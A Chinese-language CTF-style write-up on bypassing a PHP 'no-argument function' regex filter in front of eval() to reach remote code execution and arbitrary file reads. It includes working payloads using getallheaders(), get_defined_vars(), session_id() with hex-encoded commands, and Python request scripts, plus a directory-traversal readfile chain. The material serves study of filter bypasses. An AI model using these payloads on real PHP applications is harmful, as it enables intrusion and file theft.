PHP Parametric Function RCE
前言
最近做了一些php無引數函式執行的題目,這裡做一個總結,以便以後bypass各種正則過濾。
大致思路如下:
1.利用超全域性變數進行bypass,進行RCE
2.進行任意檔案讀取
什麼是無引數函式RCE
傳統意義上,如果我們有:
eval($_GET['code']);
即代表我們擁有了“一句話木馬”,可以進行getshell,例如:
但是如果有如下限制:
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); }
我們會發現我們使用引數則無法通過以下正則的校驗:
/[^\W]+\((?R)?\)/
而該正則,正是我們說的無引數函式的校驗,其只允許執行如下格式函式:
a(b(c())); a();
但不允許如下格式:
a('123');
這樣一來,失去了引數,我們進行RCE的難度則會大幅上升。
而本篇文章旨在bypass這種限制,並做出一些更苛刻條件的Bypass。
法1:getenv()
查閱php手冊,有非常多的超全域性變數:
$GLOBALS $_SERVER $_GET $_POST $_FILES $_COOKIE $_SESSION $_REQUEST $_ENV
我們可以使用:
$_ENV
對應函式為:
getenv()[object Object]
雖然getenv()可獲取當前環境變數,但我們怎麼從一個偌大的陣列中取出我們指定的值成了問題。
這裡可以使用方法:
效果如下:
但是我不想要下標,我想要陣列的值,那麼我們可以使用:
兩者結合使用即可有如下效果:
我們則可用爆破的方式獲取陣列中任意位置需要的值,那麼即可使用getenv(),並獲取指定位置的惡意引數。
法二:getallheaders()
之前我們獲取的是所有環境變數的列表,但其實我們並不需要這麼多資訊。僅僅http header即可。
在apache2環境下,我們有函式getallheaders()可返回。
我們可以看一下返回值:
array(8) { ["Host"]=> string(14) "106.14.114.127" ["Connection"]=> string(10) "keep-alive" ["Cache-Control"]=> string(9) "max-age=0" ["Upgrade-Insecure-Requests"]=> string(1) "1" ["User-Agent"]=> string(120) "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" ["Accept"]=> string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3" ["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9" }
我們可以看到,成功返回了http header,我們可以在header中做一些自定義的手段,例如:
此時我們再將結果中的惡意命令取出:
var_dump(end(getallheaders()));
這樣一來相當於我們將http header中的sky變成了我們的引數,可用其進行bypass無引數函式執行。
例如:
那麼可以進一步利用http header的sky屬性進行rce。
法三:get_defined_vars()
使用getallheaders()其實具有侷限性,因為他是apache的函式,如果目標中介軟體不為apache,那麼這種方法就會失效,我們也沒有更加普遍的方式呢?
這裡我們可以使用get_defined_vars(),首先看一下它的回顯。
發現其可以回顯全域性變數有如下幾種:
$_GET $_POST $_FILES $_COOKIE
我們這裡的選擇也就具有多樣性,可以利用$_GET進行RCE,例如:
還是和之前的思路一樣,將惡意引數取出。
發現可以成功RCE。
但一般網站喜歡對如下超全域性變數做全域性過濾:
$_GET $_POST $_COOKIE
所以我們可以嘗試從$_FILES下手,這就需要我們自己寫一個上傳:
可以發現空格會被替換成下劃線 _ ,為防止干擾我們用hex編碼進行RCE。
最終指令碼如下:
import requests from io import BytesIO payload = "system('ls /tmp');".encode('hex') files = { payload: BytesIO('sky cool!') } r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False) print r.content
法四:session_id()
之前我們使用$_FILES下手,其實這裡還能從$_COOKIE下手, 我們有函式:
可以獲取PHPSESSID的值,而我們知道PHPSESSID允許字母和數字出現,那麼我們就有了新的思路,即hex2bin。
指令碼如下:
import requests url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));' payload = "echo 'sky cool';".encode('hex') cookies = { 'PHPSESSID':payload } r = requests.get(url=url,cookies=cookies) print r.content
即可達成RCE和bypass的目的。
法五:dirname() & chdir()
為什麼一定要RCE呢?我們能不能直接讀檔案?
之前的方法都基於可以進行RCE,如果目標真的不能RCE呢?我們能不能進行任意讀取?
那麼想讀檔案,就必須進行目錄遍歷,沒有引數,怎麼進行目錄遍歷呢?
首先,我們可以利用getcwd()獲取當前目錄:
?code=var_dump(getcwd()); string(13) "/var/www/html"
那麼怎麼進行當前目錄的目錄遍歷呢?
這裡用scandir()即可:
?code=var_dump(scandir(getcwd())); array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }
那麼既然不在這一層目錄,如何進行目錄上跳呢?
我們用dirname()即可:
?code=var_dump(scandir(dirname(getcwd()))); array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }
那麼怎麼更改我們的當前目錄呢?這裡我們發現有函式可以更改當前目錄
chdir ( string $directory ) : bool
將 PHP 的當前目錄改為 directory。
所以我們這裡在dirname(getcwd())進行如下設定:
chdir(dirname(getcwd()))
我們嘗試讀取/var/www/123檔案,使用如下payload:
http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
即可進行檔案讀取。
後記
php無引數函式RCE的方式有很多種,主要還是考察對php函式的熟練程度。我相信應該還有更多的方式沒有挖掘出來,期待討論。